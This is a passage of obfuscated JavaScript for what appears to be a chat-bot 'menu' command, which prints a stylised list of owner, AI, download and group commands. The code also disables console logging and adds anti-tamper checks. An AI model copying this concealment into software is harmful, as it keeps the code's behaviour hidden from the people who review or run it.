ษชแด…','ษชษดแดœแด›แดส€*\x0aโ€Ž*','โ€Ž*โ”‹*\x20*โฌก\x20ส™สŸ','แด€แด\x20:*\x20*๐Ÿน๐Ÿบ.','แด*\x0aโ€Ž*โ”‹*\x20*โฌก','สs-แดษดสŸษชษดแด‡*','AD-CMD`\x20๐Ÿฎ*','allmenu','โฌก\x20แดแด‡ษดแดœ2*\x0aโ€Ž','โ€Ž*โ”‹*\x20*โฌก\x20แด›ส€','apply','โ”‹*\x20*โฌก\x20แด›ษชแดแด‡','โ€Ž*โ”‹*\x20*โฌก\x20สœแด‡','ส€*\x0aโ€Ž*โ”‹*\x20*โฌก','ส€แด‡า“ษชx\x20:*\x20*','แด€แด˜*\x0aโ€Ž*โ”‹*\x20*','87454868@n','โฌก\x20แดœแด˜แด…แด€แด›แด‡ษขษด','*โ”‹*\x20*โฌก\x20ษขแด‡แด›','โฌก\x20แด›แด›sแด›แด€สŸแด‹*','../config','__proto__','\x20*โฌก\x20แด„ส€ษชษดษขแด‡','โฌก\x20แด€แดกแดแด*\x0aโ€Ž*','\x20*โฌก\x20ษดแดœแดส™แด‡ส€','โ€Ž*โ”‹*\x20*โฌก\x20ษขส€','sแด›*\x0aโ€Ž*โ”‹*\x20*','g.mp4','แด‡แด€ส€แด„สœแด€แด›s*\x0a','log','ษชษดแด ษชแด›แด‡*\x0aโ€Ž*','ษชsแด›*\x0aโ€Ž*โ”‹*\x20','GTQXk','สœแด€แด„แด‹*\x0aโ€Ž*โ”‹*','essageInfo','แดแดœแด˜sแด˜ส€ษชแด แด€แด„','mHLBj','CMD`\x20๐Ÿง *\x0aโ€Ž*','สŸส*\x0aโ€Ž*โ”‹*\x20*','โฌก\x20แดŠษชแด…*\x0aโ€Ž*โ”‹','แด‡sแด›s*\x0aโ€Ž*โ”‹*','แดแดแด‡*\x0aโ€Ž*โ”‹*\x20','eYLJp'];_0x5df4=function(){return _0x4ef819;};return _0x5df4();}(function(_0x9d8c57,_0xf36279){const _0x4fe9ca=_0x9d8c57();function _0x3ddaf9(_0x19a949,_0x3ccaa7,_0x34ca7f,_0x321084){return _0x57d1(_0x34ca7f- -0xb1,_0x3ccaa7);}function _0x383f1b(_0x37b043,_0x28a665,_0x3c677e,_0xa342f){return _0x57d1(_0x3c677e-0xa7,_0xa342f);}while(!![]){try{const _0x5efa29=-parseInt(_0x3ddaf9(0x1a7,0x18c,0x118,0x196))/(0x4*0x464+0x374*0xa+0x7f*-0x69)*(parseInt(_0x3ddaf9(0xee,0x1fa,0x137,0x1fb))/(0xe2*0x20+0x1*-0x97+0x1ba7*-0x1))+parseInt(_0x3ddaf9(0x80,0x186,0x140,0x135))/(-0x2*-0x799+0x9c9+-0x5e*0x44)+parseInt(_0x3ddaf9(0x158,0x1e4,0x21b,0x183))/(0x117e+0x75d+-0x18d7)*(parseInt(_0x3ddaf9(0x284,0x241,0x1c3,0x190))/(-0x1b7c+-0x1ce8+0x3869))+-parseInt(_0x383f1b(0x31e,0x3b4,0x3a4,0x39d))/(0x1*0x2366+0x2*0xabd+-0x2*0x1c6d)*(-parseInt(_0x3ddaf9(0x148,0xd3,0x130,0xf3))/(-0x3*-0x609+0x203b*0x1+-0x324f))+parseInt(_0x383f1b(0x293,0x397,0x301,0x305))/(-0x150f+-0x260c+0x3b23)*(parseInt(_0x3ddaf9(0x1c7,0x1c7,0x10c,0xad))/(-0x222d*-0x1+-0x2f1+-0x1f33))+parseInt(_0x383f1b(0x2e2,0x2af,0x325,0x365))/(0x12e*-0xa+-0x1f38+-0x2b0e*-0x1)+parseInt(_0x383f1b(0x360,0x363,0x336,0x358))/(-0x5cb+-0x217+0x7ed*0x1)*(-parseInt(_0x3ddaf9(0x1a3,0x1d5,0x1c1,0x22a))/(-0x8*0x19c+-0x28*-0xa7+-0x1*0xd2c));if(_0x5efa29===_0xf36279)break;else _0x4fe9ca['push'](_0x4fe9ca['shift']());}catch(_0x90d536){_0x4fe9ca['push'](_0x4fe9ca['shift']());}}}(_0x5df4,0x1f154+0xd*0x120d+0x68aed));const _0x5d881f=(function(){const _0x249f68={};_0x249f68[_0x3080a0(-0x12c,-0x1b2,-0x235,-0x271)]=function(_0x520b58,_0x375cb7){return _0x520b58===_0x375cb7;},_0x249f68[_0x3080a0(-0x1a9,-0x1c1,-0x190,-0x18a)]=_0x3080a0(-0x131,-0xb7,-0x126,-0x137);function _0xdfe420(_0x2025fe,_0x12d793,_0x9c426,_0x13bf13){return _0x57d1(_0x9c426-0x6a,_0x2025fe);}_0x249f68[_0xdfe420(0x370,0x36a,0x31a,0x32a)]=_0xdfe420(0x292,0x212,0x2d7,0x224),_0x249f68[_0x3080a0(-0x279,-0x220,-0x25c,-0x253)]=_0x3080a0(-0x157,-0x182,-0xef,-0x249);const _0x506a45=_0x249f68;let _0xdd8107=!![];function _0x3080a0(_0xcebd1d,_0x10cf31,_0x5695e1,_0x10ea42){return _0x57d1(_0x10cf31- -0x3c6,_0x5695e1);}return function(_0x3df4e2,_0xf0858c){function _0x5570b0(_0x3ec9be,_0x1a9f45,_0x5a842d,_0x50d15a){return _0xdfe420(_0x1a9f45,_0x1a9f45-0x70,_0x50d15a-0xd9,_0x50d15a-0x130);}function _0x2bd3d2(_0x4cc9be,_0xa47db0,_0x218e2b,_0x488478){return _0xdfe420(_0xa47db0,_0xa47db0-0x186,_0x488478-0x152,_0x488478-0x13e);}const _0x41839e={'dMsvD':function(_0x19cc6d,_0x3584f2){function _0x3df34d(_0x4932c7,_0x324658,_0x291d0b,_0x238c6e){return _0x57d1(_0x324658-0xa7,_0x4932c7);}return _0x506a45[_0x3df34d(0x2e6,0x2bb,0x2fb,0x2bb)](_0x19cc6d,_0x3584f2);},'iiSjD':_0x506a45['XbcMe'],'bisVg':function(_0x28e9f2,_0x4d99b5){return _0x28e9f2===_0x4d99b5;},'vaZxd':_0x5570b0(0x3a5,0x2d5,0x30b,0x31d)};if(_0x506a45['aXHis'](_0x506a45[_0x5570b0(0x376,0x494,0x48c,0x3f3)],_0x506a45[_0x2bd3d2(0x35c,0x390,0x2c2,0x362)])){const _0x6f53f=_0x36bdff[_0x2bd3d2(0x3cd,0x4c8,0x439,0x486)+'r'][_0x5570b0(0x318,0x432,0x37d,0x3c2)][_0x2bd3d2(0x426,0x45f,0x427,0x44f)](_0x5e3269),_0x4a2898=_0x314b66[_0x101af6],_0x566523=_0x239b89[_0x4a2898]||_0x6f53f;_0x6f53f[_0x5570b0(0x34c,0x31c,0x376,0x372)]=_0x34458c['bind'](_0x89f90c),_0x6f53f[_0x2bd3d2(0x482,0x41f,0x340,0x3cb)]=_0x566523['toString'][_0x2bd3d2(0x3cc,0x469,0x409,0x44f)](_0x566523),_0x24efa1[_0x4a2898]=_0x6f53f;}else{const _0x1313fd=_0xdd8107?function(){function _0x21cedf(_0x5965b3,_0x48ed39,_0x56923f,_0x11ccbe){return _0x5570b0(_0x5965b3-0x1d4,_0x5965b3,_0x56923f-0x66,_0x48ed39- -0x1a1);}function _0x445659(_0x3f01f1,_0x5379bb,_0x277ea6,_0x1be1ee){return _0x5570b0(_0x3f01f1-0x7d,_0x3f01f1,_0x277ea6-0x40,_0x277ea6- -0x31a);}if(_0x41839e[_0x21cedf(0x19c,0x223,0x2c5,0x2e0)](_0x41839e['iiSjD'],_0x41839e[_0x21cedf(0x29e,0x28a,0x2d1,0x238)])){if(_0xf0858c){if(_0x41839e['bisVg'](_0x21cedf(0xed,0x17c,0x140,0xfa),_0x41839e[_0x445659(0x12d,0x16,0xc1,0x74)])){const _0x3d595e=_0xf0858c[_0x445659(0xfa,-0x63,0x4d,-0x6d)](_0x3df4e2,arguments);return _0xf0858c=null,_0x3d595e;}else{const _0x5eb0e8=_0x283dba[_0x21cedf(0x10e,0x1c6,0x26d,0x191)](_0x52ebfe,arguments);return _0xf12ab2=null,_0x5eb0e8;}}}else{const _0x329fa0=_0x1d738b['apply'](_0x24482d,arguments);return _0x517b05=null,_0x329fa0;}}:function(){};return _0xdd8107=![],_0x1313fd;}};}()),_0x14f5d0=_0x5d881f(this,function(){const _0x2481a6={};_0x2481a6[_0x53be4e(0x11c,-0x19,0x7c,0x82)]='(((.+)+)+)'+'+$';const _0x4231ea=_0x2481a6;function _0x399a6b(_0xe48a18,_0x271eb7,_0x32b09b,_0x5ba123){return _0x57d1(_0xe48a18- -0xe8,_0x5ba123);}function _0x53be4e(_0x49e904,_0x238a74,_0x458b9b,_0x3172c5){return _0x57d1(_0x458b9b- -0x1c2,_0x3172c5);}return _0x14f5d0['toString']()[_0x399a6b(0x160,0x9e,0xfb,0x116)](_0x4231ea[_0x53be4e(0x12d,0xaf,0x7c,0x81)])[_0x53be4e(-0x57,0xba,0x4d,0xfc)]()[_0x399a6b(0x1e2,0x126,0x11b,0x132)+'r'](_0x14f5d0)[_0x53be4e(0x11c,-0x8,0x86,0xd9)](_0x4231ea[_0x53be4e(0x15,-0x3d,0x7c,0xa0)]);});_0x14f5d0();function _0x57d1(_0x3f3062,_0x14f5d0){const _0x5d881f=_0x5df4();return _0x57d1=function(_0x5df4dd,_0x57d102){_0x5df4dd=_0x5df4dd-(-0x1e9d+0x1*0x115f+0xed2);let _0xa7dd48=_0x5d881f[_0x5df4dd];return _0xa7dd48;},_0x57d1(_0x3f3062,_0x14f5d0);}const _0x40588a=(function(){function _0x156cc3(_0x2c2d11,_0xf6c20,_0x3f1ec8,_0x4ce14d){return _0x57d1(_0x4ce14d- -0x2a,_0xf6c20);}const _0xcd58b1={};_0xcd58b1['fPLAs']=function(_0x3d613c,_0x55e979){return _0x3d613c===_0x55e979;},_0xcd58b1[_0x156cc3(0x2d3,0x31c,0x301,0x276)]=_0x110c66(0x4e9,0x513,0x47e,0x4c3);function _0x110c66(_0x48accc,_0x27a5d3,_0x1c9625,_0x4253b2){return _0x57d1(_0x4253b2-0x26c,_0x1c9625);}_0xcd58b1[_0x110c66(0x5df,0x585,0x519,0x582)]='dVEDe';const _0x5d6d5e=_0xcd58b1;let _0x749c22=!![];return function(_0x4eefd0,_0x28535c){function _0x1d6410(_0x5482ae,_0x3cc09e,_0x496433,_0x24e814){return _0x110c66(_0x5482ae-0xb8,_0x3cc09e-0xb5,_0x3cc09e,_0x5482ae- -0x316);}function _0x197c25(_0x19e66d,_0x14a61b,_0x41bdd4,_0x50e4f2){return _0x110c66(_0x19e66d-0x47,_0x14a61b-0x112,_0x14a61b,_0x41bdd4-0x13);}if(_0x5d6d5e['fPLAs'](_0x5d6d5e[_0x1d6410(0x1f6,0x13f,0x152,0x153)],_0x5d6d5e[_0x1d6410(0x26c,0x1d0,0x22b,0x26d)]))_0x19d03a=_0x43953a;else{const _0x5845fd=_0x749c22?function(){function _0x30db88(_0x31c804,_0x2ab563,_0x512432,_0x410a0a){return _0x1d6410(_0x31c804-0x2ec,_0x410a0a,_0x512432-0x1c,_0x410a0a-0x15a);}function _0x16c23d(_0x34c29b,_0x462a5,_0x143841,_0x33bb64){return _0x1d6410(_0x462a5-0x235,_0x33bb64,_0x143841-0x47,_0x33bb64-0x99);}if('blJOy'!=='blJOy'){if(_0x37e376){const _0x24e9be=_0x329c35[_0x30db88(0x466,0x424,0x3b7,0x51a)](_0x14770f,arguments);return _0x1628f7=null,_0x24e9be;}}else{if(_0x28535c){const _0x272188=_0x28535c[_0x16c23d(0x3a0,0x3af,0x2f6,0x401)](_0x4eefd0,arguments);return _0x28535c=null,_0x272188;}}}:function(){};return _0x749c22=![],_0x5845fd;}};}()),_0x56b8d7=_0x40588a(this,function(){const _0x35bf0b={'TEXQU':function(_0x1dd7a7,_0x460828){return _0x1dd7a7+_0x460828;},'rudte':'return\x20(fu'+_0x541e41(0x561,0x5ce,0x5bd,0x66a),'zqEPR':_0x509eec(0x40b,0x502,0x57e,0x4bf)+_0x541e41(0x6b2,0x63f,0x675,0x640)+'rn\x20this\x22)('+'\x20)','HQjJv':function(_0x13c8b5){return _0x13c8b5();},'NLXQU':_0x509eec(0x3a6,0x47e,0x361,0x419),'OJYxY':_0x541e41(0x522,0x56f,0x4e5,0x4bb),'GTQXk':_0x509eec(0x421,0x47d,0x329,0x3bf),'joPwR':_0x509eec(0x4d7,0x4a8,0x4a5,0x501),'RONWb':_0x541e41(0x570,0x5d0,0x60c,0x608),'nWcfR':'table','jUfBc':_0x509eec(0x350,0x3a3,0x3bf,0x3b4),'suAEG':function(_0x349f5b,_0x307226){return _0x349f5b<_0x307226;},'iJehW':function(_0x5c54fc,_0x233146){return _0x5c54fc(_0x233146);},'IVeMV':function(_0x5c145a,_0x5bbd7e){return _0x5c145a===_0x5bbd7e;},'xAgoK':'VPHGf'};function _0x541e41(_0x16d3d1,_0x2675ec,_0x54ee79,_0x552ae4){return _0x57d1(_0x2675ec-0x3d7,_0x552ae4);}function _0x509eec(_0x36c2dc,_0xdf9103,_0x26ed39,_0x423aea){return _0x57d1(_0x423aea-0x1e2,_0x36c2dc);}let _0x89e19e;try{const _0x2f1407=_0x35bf0b[_0x509eec(0x555,0x525,0x466,0x4eb)](Function,_0x35bf0b[_0x509eec(0x583,0x40c,0x473,0x4bc)]+_0x35bf0b[_0x541e41(0x65e,0x66e,0x693,0x6a5)]+');');_0x89e19e=_0x2f1407();}catch(_0x438c26){if(_0x35bf0b['IVeMV'](_0x35bf0b[_0x509eec(0x420,0x360,0x36d,0x3d1)],_0x35bf0b[_0x509eec(0x3dc,0x312,0x36c,0x3d1)]))_0x89e19e=window;else{let _0x3c0b7e;try{const _0x6e0905=_0x485adf(_0x35bf0b[_0x509eec(0x312,0x2bc,0x2fe,0x37f)](_0x35bf0b[_0x509eec(0x573,0x54c,0x489,0x4bc)],_0x35bf0b['zqEPR'])+');');_0x3c0b7e=_0x35bf0b[_0x509eec(0x317,0x322,0x39e,0x38a)](_0x6e0905);}catch(_0x52e829){_0x3c0b7e=_0x544a9a;}const _0x1c9504=_0x3c0b7e[_0x509eec(0x32a,0x393,0x326,0x3c2)]=_0x3c0b7e[_0x541e41(0x64a,0x5b7,0x4f7,0x528)]||{},_0x3471dc=[_0x35bf0b[_0x541e41(0x5c1,0x5bb,0x646,0x5d4)],_0x35bf0b['OJYxY'],_0x35bf0b['GTQXk'],_0x35bf0b[_0x541e41(0x66c,0x681,0x681,0x73f)],_0x35bf0b[_0x541e41(0x655,0x5ba,0x51c,0x65b)],_0x35bf0b['nWcfR'],_0x35bf0b[_0x541e41(0x617,0x5c2,0x64c,0x5b1)]];for(let _0x2e04ae=-0x1a16+0x1*-0x1f3+0x1c09*0x1;_0x35bf0b['suAEG'](_0x2e04ae,_0x3471dc[_0x541e41(0x660,0x6ce,0x77c,0x646)]);_0x2e04ae++){const _0x58e017=_0x464821['constructo'+'r']['prototype'][_0x541e41(0x653,0x66a,0x5e7,0x6d1)](_0x638ede),_0x269581=_0x3471dc[_0x2e04ae],_0x4a894c=_0x1c9504[_0x269581]||_0x58e017;_0x58e017[_0x541e41(0x5dc,0x606,0x659,0x6cb)]=_0x332a36['bind'](_0xae8968),_0x58e017[_0x541e41(0x54d,0x5e6,0x53f,0x676)]=_0x4a894c[_0x541e41(0x591,0x5e6,0x64b,0x626)]['bind'](_0x4a894c),_0x1c9504[_0x269581]=_0x58e017;}}}const _0x1f1c02=_0x89e19e[_0x509eec(0x410,0x433,0x43f,0x3c2)]=_0x89e19e[_0x541e41(0x630,0x5b7,0x52e,0x525)]||{},_0x3abe7d=[_0x541e41(0x67c,0x60e,0x564,0x677),_0x35bf0b[_0x509eec(0x445,0x4a6,0x4d3,0x4ff)],_0x35bf0b[_0x509eec(0x40e,0x3fa,0x472,0x41c)],_0x509eec(0x508,0x53a,0x51b,0x501),_0x35bf0b[_0x541e41(0x5ed,0x5ba,0x66e,0x5e9)],_0x541e41(0x6ef,0x665,0x695,0x6ad),_0x35bf0b[_0x541e41(0x504,0x5c2,0x637,0x5ef)]];for(let _0x1eb237=-0x176c+0x4*0xe6+0x1a7*0xc;_0x35bf0b[_0x541e41(0x64a,0x642,0x591,0x67d)](_0x1eb237,_0x3abe7d['length']);_0x1eb237++){const _0x4f6141=_0x40588a[_0x541e41(0x667,0x6a1,0x6a9,0x667)+'r'][_0x509eec(0x40d,0x515,0x498,0x461)][_0x541e41(0x618,0x66a,0x6fc,0x711)](_0x40588a),_0x212488=_0x3abe7d[_0x1eb237],_0x28f0d3=_0x1f1c02[_0x212488]||_0x4f6141;_0x4f6141[_0x541e41(0x63f,0x606,0x57d,0x699)]=_0x40588a[_0x541e41(0x63e,0x66a,0x6e4,0x727)](_0x40588a),_0x4f6141[_0x541e41(0x54d,0x5e6,0x588,0x66a)]=_0x28f0d3['toString'][_0x509eec(0x452,0x520,0x454,0x475)](_0x28f0d3),_0x1f1c02[_0x212488]=_0x4f6141;}});_0x56b8d7();function _0x19e749(_0xbd014a,_0x3bd0a0,_0x4cf3e7,_0x32a446){return _0x57d1(_0x32a446- -0x37e,_0xbd014a);}const config=require(_0x41c44f(0x29f,0x288,0x334,0x295));function _0x41c44f(_0x209874,_0x5146d5,_0x4c5141,_0x1e5681){return _0x57d1(_0x1e5681-0x67,_0x5146d5);}const {cmd,commands}=require('../command'),os=require('os'),{runtime}=require(_0x19e749(-0xbe,-0x3c,-0x58,-0x71)+_0x41c44f(0x265,0x294,0x38e,0x30c)),_0x3a141c={};_0x3a141c[_0x41c44f(0x238,0x222,0x2a1,0x2c2)]='menu',_0x3a141c[_0x19e749(-0xd7,-0x1c9,-0x1b2,-0x112)]=['bot',_0x19e749(-0x1ed,-0x174,-0x1eb,-0x15d)],_0x3a141c[_0x19e749(-0x213,-0x120,-0x20a,-0x1cf)]=_0x41c44f(0x367,0x2f0,0x2ef,0x315)+'ot',_0x3a141c[_0x41c44f(0x2ce,0x353,0x372,0x2d6)]='๐Ÿ“œ',_0x3a141c[_0x41c44f(0x270,0x284,0x244,0x235)]='menu',cmd(_0x3a141c,async(_0x407b53,_0x706219,_0x442563,{from:_0x265eec,quoted:_0x5339b4,body:_0x784ec4,isCmd:_0x27d8c1,command:_0x4e56aa,args:_0x179fb0,q:_0x21386f,isGroup:_0x14c199,sender:_0x50390e,senderNumber:_0x2a6f9f,botNumber2:_0x6269ac,botNumber:_0x78c5fd,pushname:_0xae5586,isMe:_0x1c8821,isOwner:_0x4d5f8d,groupMetadata:_0x3beb86,groupName:_0x48b5ab,participants:_0x32e553,groupAdmins:_0x3cb56c,isBotAdmins:_0x59aa24,isAdmins:_0x30a8bd,reply:_0x55b659})=>{function _0x4f43cf(_0x4c880f,_0x501a27,_0x45d41c,_0x25fd0d){return _0x19e749(_0x501a27,_0x501a27-0x16d,_0x45d41c-0x124,_0x45d41c-0x580);}function _0x58b207(_0x560cae,_0x1e2d24,_0x1b8188,_0x10a6b5){return _0x41c44f(_0x560cae-0x183,_0x10a6b5,_0x1b8188-0xd7,_0x1b8188- -0x21e);}const _0x50984a={'aCmPv':_0x58b207(0x107,0x1d6,0x155,0x1a7)+_0x4f43cf(0x495,0x443,0x42c,0x3f4)+_0x58b207(0x32,0xad,0xd9,0x173),'RMKfg':'audio/mp4','rUxyS':function(_0x5701d8,_0x25540c){return _0x5701d8(_0x25540c);}};try{let _0x44dc40=_0x58b207(0x193,0xb7,0x161,0xc3)+config[_0x4f43cf(0x521,0x459,0x4b8,0x525)]+('ใ€โ”ˆโ”€โ”€โ”€โŠท*\x0a*โ”ƒ'+_0x58b207(0x1b1,0xfa,0x142,0xc7)+_0x4f43cf(0x518,0x3e0,0x49e,0x55c))+_0xae5586+(_0x4f43cf(0x3ff,0x48b,0x3ee,0x3e8)+'แดแดแด…แด‡\x20:*\x20*')+config[_0x58b207(-0x2d,0xc0,0x8,0xbb)]+(_0x4f43cf(0x3c2,0x396,0x3b4,0x3dc)+_0x4f43cf(0x4e5,0x383,0x42a,0x486))+config['PREFIX']+('*\x0a*โ”ƒ\x20๐Ÿ›ฐ๏ธ*\x20*ส€'+_0x4f43cf(0x434,0x494,0x41f,0x38d)+_0x58b207(0xb,-0x74,0x21,0xc5)+_0x4f43cf(0x449,0x4c5,0x408,0x3ac)+_0x58b207(0x106,0x14a,0xcf,0x96)+_0x58b207(0x1d7,0xf8,0x159,0x1f1)+_0x58b207(0x103,0x96,0xa6,0x8d)+_0x4f43cf(0x4cd,0x45e,0x48e,0x4cb)+_0x4f43cf(0x42a,0x424,0x452,0x426)+_0x58b207(-0xdd,-0xd7,-0x16,-0x50)+_0x58b207(0x24,0x59,0xeb,0x164)+_0x58b207(0x7b,0xe0,0x129,0xbf)+_0x58b207(0x188,0x99,0x149,0x1fe)+_0x58b207(0x113,0xa1,0x69,0x3d)+_0x4f43cf(0x424,0x475,0x4d7,0x454)+_0x4f43cf(0x542,0x47b,0x4a4,0x508)+'โ”€โ”€โœ‘*\x0aโ€Ž*โ”‹*\x20'+'*โฌก\x20า“ส™*\x0aโ€Ž*โ”‹'+'*\x20*โฌก\x20ษชษด๊œฑแด›แด€'+_0x58b207(0x144,0x83,0x11b,0x5c)+'แด ษชแด…แด‡แด*\x0aโ€Ž*โ”‹'+_0x58b207(0x6b,0xab,-0x15,-0x65)+'แด‡*\x0aโ€Ž*โ”‹*\x20*โฌก'+_0x4f43cf(0x474,0x475,0x3f4,0x367)+_0x58b207(0xe9,0x9b,0x132,0x148)+_0x4f43cf(0x48f,0x542,0x4d4,0x460)+_0x58b207(-0x49,0x2f,-0x21,0x5f)+_0x4f43cf(0x31d,0x3be,0x3bb,0x3cf)+_0x4f43cf(0x430,0x476,0x4e6,0x425)+_0x58b207(0x121,0xce,0xd3,0x6a)+_0x4f43cf(0x4a8,0x3dc,0x48b,0x411)+_0x58b207(0x199,0x47,0x10e,0x194)+_0x58b207(0xcd,0x150,0xe3,0xfa)+_0x4f43cf(0x532,0x429,0x4ad,0x56e)+_0x4f43cf(0x4f7,0x4dd,0x505,0x4a1)+_0x58b207(0x1b9,0x193,0x100,0x130)+_0x58b207(0x15a,0x1e7,0x138,0x154)+_0x58b207(-0x4d,0x105,0x63,0x5d)+_0x58b207(0x10b,0x172,0x151,0xef)+_0x4f43cf(0x3c8,0x3db,0x3e9,0x45e)+_0x4f43cf(0x536,0x43d,0x4d4,0x523)+_0x4f43cf(0x548,0x565,0x4a3,0x48a)+'*โฌก\x20สŸสส€ษชแด„s*'+_0x58b207(0x19b,0x90,0x11f,0x1a6)+'แด˜แด‹*\x0aโ€Ž*โ”‹*\x20*'+_0x58b207(0x89,0x22,0xc6,0x148)+_0x58b207(0x112,0xd4,0xfa,0x78)+_0x58b207(0xea,0x15e,0x11a,0x15e)+_0x58b207(0x163,0x127,0xbc,0x29)+_0x4f43cf(0x3f0,0x41f,0x465,0x3da)+_0x4f43cf(0x3c1,0x4be,0x478,0x4c5)+'*\x20*โฌก\x20สแด›แด€*\x0a'+'โ€Ž*โ”‹*\x20*โฌก\x20สŸแด'+_0x4f43cf(0x45e,0x423,0x3b3,0x30c)+_0x58b207(0x67,0xb5,0x10c,0x129)+_0x4f43cf(0x35e,0x4c7,0x420,0x478)+_0x58b207(0x7a,0x1bd,0x111,0x147)+_0x4f43cf(0x4fa,0x3ae,0x469,0x48c)+_0x4f43cf(0x454,0x528,0x4d2,0x4f2)+'*โฌก\x20sแด›ษชแด„แด‹sแด‡'+_0x58b207(-0xb3,-0x94,-0x4,-0x4b)+_0x58b207(0x130,0x162,0xa5,0xa5)+_0x4f43cf(0x58c,0x4d7,0x4d1,0x510)+_0x58b207(0x72,0xbe,0x3f,0xc)+'\x0aโ€Ž*โ”‹*\x20*โฌก\x20แด„'+'แดแดœแด˜สŸแด‡แด˜แด˜*\x0aโ€Ž'+'*โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€'+'โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€'+'โœ‘*\x0a*๐Ÿง \x20`AI-'+_0x4f43cf(0x3e3,0x448,0x441,0x3ec)+'โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€'+_0x58b207(0x1e9,0xca,0x125,0x113)+_0x4f43cf(0x57b,0x4a7,0x4d4,0x4a7)+'ษขแด˜แด›*\x0aโ€Ž*โ”‹*\x20'+_0x4f43cf(0x367,0x3c5,0x40c,0x470)+_0x58b207(0x6c,0x86,0xde,0x101)+'sแด‡*\x0aโ€Ž*โ”‹*\x20*'+_0x4f43cf(0x518,0x4f2,0x479,0x4ce)+'*โ”‹*\x20*โฌก\x20แด…แด‡แด‡'+'แด˜sแด‡แด‡แด‹*\x0aโ€Ž*โ”‹'+_0x58b207(0xf0,0x4f,0x109,0x60)+'ษช*\x0aโ€Ž*โ”‹*\x20*โฌก'+_0x4f43cf(0x445,0x3f7,0x3d6,0x366)+_0x58b207(0x182,0x1a5,0x145,0x1f1)+'า“า“แดœsษชแดษด*\x0aโ€Ž'+_0x4f43cf(0x35d,0x444,0x413,0x3f1)+_0x4f43cf(0x3c8,0x442,0x3a6,0x390)+_0x4f43cf(0x494,0x465,0x45b,0x4f2)+_0x58b207(0x1b7,0x17e,0x102,0x7a)+_0x58b207(0x12b,0x16e,0xeb,0x159)+_0x4f43cf(0x469,0x42d,0x3e1,0x3eb)+'*๐Ÿ‘‘\x20`OWNER-'+_0x4f43cf(0x547,0x3fe,0x4a6,0x44c)+_0x58b207(0x8f,0x2e,0x8f,0x5f)+_0x4f43cf(0x541,0x506,0x48a,0x44b)+_0x58b207(0x28,0x56,0x33,0xa5)+_0x4f43cf(0x496,0x581,0x4e4,0x531)+_0x4f43cf(0x2fa,0x3d9,0x3ab,0x447)+'แด›แด‡*\x0aโ€Ž*โ”‹*\x20*'+_0x58b207(0x175,0x68,0x10d,0x9e)+('โ”‹*\x20*โฌก\x20แดแด‡ษดแด›'+_0x4f43cf(0x45b,0x32c,0x3b9,0x404)+_0x58b207(0x8a,0x2f,0x3,0xa1)+_0x4f43cf(0x503,0x4e9,0x520,0x592)+_0x58b207(-0x18,0x42,0x4c,-0x72)+_0x58b207(-0x9e,0xd2,0xb,0x75)+_0x58b207(0x17,0x70,0xc2,0x171)+'โฌก\x20sแด›แด€แด›แดœs-ส€'+_0x4f43cf(0x3fb,0x35f,0x3f6,0x35a)+_0x4f43cf(0x4f4,0x434,0x487,0x504)+'แด‡แด˜สŸส*\x0aโ€Ž*โ”‹*'+_0x4f43cf(0x40f,0x4b7,0x4bc,0x427)+_0x4f43cf(0x478,0x474,0x4d9,0x55e)+_0x58b207(0x125,0xa3,0x169,0x171)+'แด›ษช-ส™แด€แด…*\x0aโ€Ž*'+_0x58b207(0x117,0x120,0xe7,0x15e)+_0x4f43cf(0x3f0,0x409,0x421,0x3c5)+_0x4f43cf(0x4ec,0x42d,0x4d8,0x575)+'แดœแด›แด-sแด›ษชแด„แด‹แด‡'+_0x4f43cf(0x3fb,0x39c,0x429,0x395)+'\x20แด€แดœแด›แด-แด›สแด˜ษช'+_0x4f43cf(0x547,0x507,0x4b9,0x45d)+_0x4f43cf(0x507,0x4fb,0x4ab,0x49c)+'แดส€แด…ษชษดษข*\x0aโ€Ž*'+_0x4f43cf(0x3ab,0x4e1,0x454,0x3fd)+_0x4f43cf(0x4f5,0x59b,0x4d6,0x42c)+_0x58b207(0x130,0xf8,0x106,0x156)+'*\x0aโ€Ž*โ”‹*\x20*โฌก\x20'+_0x58b207(-0x92,0xa6,-0x14,-0xd5)+_0x4f43cf(0x369,0x43c,0x396,0x2de)+_0x4f43cf(0x3b0,0x358,0x3c3,0x469)+_0x58b207(0x189,0x9b,0xdd,0x117)+_0x4f43cf(0x487,0x3e4,0x3cc,0x386)+_0x4f43cf(0x4f6,0x488,0x486,0x4b9)+'\x20*โฌก\x20แด€แดœแด›แด-แด›'+'สแด˜ษชษดษข*\x0aโ€Ž*โ”‹'+_0x58b207(0x69,0x59,0x94,-0x2b)+'สŸษชษดแด‹*\x0aโ€Ž*โ”‹*'+'\x20*โฌก\x20แด€ษดแด›ษชแด…แด‡'+_0x58b207(-0x88,-0xba,-0x20,-0x4e)+_0x4f43cf(0x403,0x476,0x470,0x3a9)+_0x4f43cf(0x4d3,0x518,0x507,0x5a6)+_0x58b207(0x1de,0x181,0x164,0x1a8)+_0x58b207(0x18,-0x3b,0x65,0x122)+'แดแด„แด‹*\x0aโ€Ž*โ”‹*\x20'+_0x58b207(-0x4b,0x5,0x62,0xac)+_0x58b207(0xde,0x13d,0x11b,0x98)+_0x58b207(0xce,0x13f,0xf0,0xde)+'โ€Ž*โ”‹*\x20*โฌก\x20แด„สŸ'+_0x58b207(-0x34,-0x44,0x7f,0x113)+_0x4f43cf(0x3c5,0x423,0x460,0x4ba)+_0x4f43cf(0x3d4,0x46d,0x48f,0x4d7)+_0x4f43cf(0x43d,0x547,0x4cb,0x517)+_0x58b207(-0x14,0x97,0x7d,0xbc)+_0x58b207(0xc0,0x91,0x8a,0xdf)+'*\x20*โฌก\x20ษขแดŠษชแด…*'+_0x58b207(0x53,-0x54,0x50,0xb9)+_0x4f43cf(0x50f,0x3e5,0x49b,0x462)+'*โฌก\x20sแด€แด 